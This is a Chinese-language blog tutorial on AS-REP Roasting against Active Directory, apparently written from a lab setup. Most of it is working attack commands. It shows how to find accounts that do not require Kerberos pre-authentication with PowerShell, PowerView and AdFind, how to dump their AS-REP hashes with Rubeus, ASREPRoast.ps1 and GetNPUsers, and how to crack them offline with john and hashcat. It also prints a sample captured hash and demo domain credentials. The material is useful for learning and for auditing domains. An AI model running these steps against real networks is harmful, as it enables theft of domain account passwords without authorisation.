点我

原理

概述

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置所导致的,管理员在域控上勾选了【不要求Kerberos】预身份验证。该攻击发生在AS-REP数据包,。

默认是没有勾选的

原理

AS-REP(AS-Response):当KDC收到AS-REQ之后解密PA-DATA pA-ENC-TIMESTAMP,如果成功就返回AS- REP

  • 第一个enc-part:TGT中由KRBTGT哈希值加密部分
  • 第二个enc-part:TGT中由用户哈希值加密部分

有无Kerberos预身份验证的区别

没有Kerberos预身份验证

kekeo工具

tgt::ask /user:用户名 /domain:域名 /password:密码

AS-REQ

AS-REP

有Kerberos预身份验证

使用ASREPRoast.ps1脚本

Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash

注意:如果导入失败,则需要管理员权限执行该命令:set-ExecutionPolicy RemoteSigned

AS-REQ

AS-REP

如果勾选了【不要求Kerberos预身份验证】,只要我们提供用户名,就会返回该用户的TGT

获取不要求预身份验证的用户

想要破解用户的密码,首先要知道哪些用户勾选了【不要求Kerberos预身份验证】

在域控机器上

可以直接执行以下命令

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name

在域内机器上(已加入域环境)

可以执行PowerView.ps1脚本

Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired –Verbose 

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

在域内工作组的机器(没有加入域环境)

前提条件得知道一个域内账户及密码

adind.exe -h IP地址:389 -u 域名(没有.com)\用户名 -up 密码 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn
AdFind.exe -h 192.168.110.10:389 -u xbxaq\zhangsan -up a1b2c3.. -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn

获取AS-REQ的enc-part值

域内主机

如果想要知道用户的enc-part值可以使用相关工具,通过LDAP协议进行查询用户,然后再列出相关的enc-part值

Rubeus.exe

Rubesu.exe是由国外安全研究院harmj0y用C#编写的针对Kerberos协议进行攻击的工具,可以发起Kerberos请求,并将请求票据导入内存中。

Rebeus提供了大量的用于Kerberos攻击的功能,比如 TGT请求/ST请求/AS-REP Roasting攻击/Kerberoasting攻击/委派攻击/黄金票据/白银票据等。

Rubeus.exe asreproast /format:john /outfile:1.txt

注意:Rubesu工具需要 .NET Framework 3.5支持,否则会运行不了。

这里环境为Windows server 2016,离线安装

安装成功之后再次执行(如果不行,重新计算机)

Rubeus.exe asreproast /format:john /outfile:1.txt

ASREPRoast.ps1脚本
Import-Module .\ASREPRoast.ps1
Invoke-ASREPRoast | select -ExpandProperty Hash

非域内主机

非域内主机想要enc-part值两种方法:

  • 用户字典一 一 枚举
  • GetNPUsers.exe

通过前面的操作,我们知道了哪些用户勾选了【不要求预身份验证】,可以使用GetNPUsers.exe工具,列出具体用户的enc-part值。

GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass

提示:可以在目录后面加一个 > hash.txt 便于提取值

GetNPUsers.exe -dc-ip 192.168.110.10 xbxaq/zhong -no-pass > hash.txt 

zhong用户的enc-part值为

$krb5asrep$23$zhong@XBXAQ:71bd6c09df1d882dbe339a52ba55c5dc$23a142f0912af9e4eae75499120ec7e9027f9f87d294dcd64098f9ad397a100ecee3d1629a4ce1a4d575ecd3d137606057b294834c7a6a6b31f921cf507283171f0c46b053d5a358bf86a9ff9b45d1438e7c442ea17938e1055f56d5d637678cc55db24b07cc87c042d7c32749066693d2f4bc5751e6e4f18e64e4635b318c32c046cd1440a5493b5045008cc303110eccb5d7a07a121eaa1ba7dfe6a7bd44310a7973b5db08307aa924b813922a76a0a2c3f3a2b08b6362a88ddf4ed6c7dc5af4896252cba3c1fee7feef4a9b0607fecf728536aa1d0f14068ed60093564952dfa7

破解part值

john

john.exe --wordlist=密码字典 hash.txt

hash.txt中的值为GetNPUsers工具所破解出来的

提示:建议不要将字典文档和hash值文档放在run目录下

hashcat

命令手册: https://hashcat.net/wiki/doku.php?id=example_hashes

注意:个别工具抓取的part值与18200的命令格式有所不同,需要手动修改

官方格式

GetNPUsers工具抓取的part值格式

ASREPRoast.ps1脚本抓取的part值格式

分类: 内网渗透

评论

-- 评论已关闭 --

目录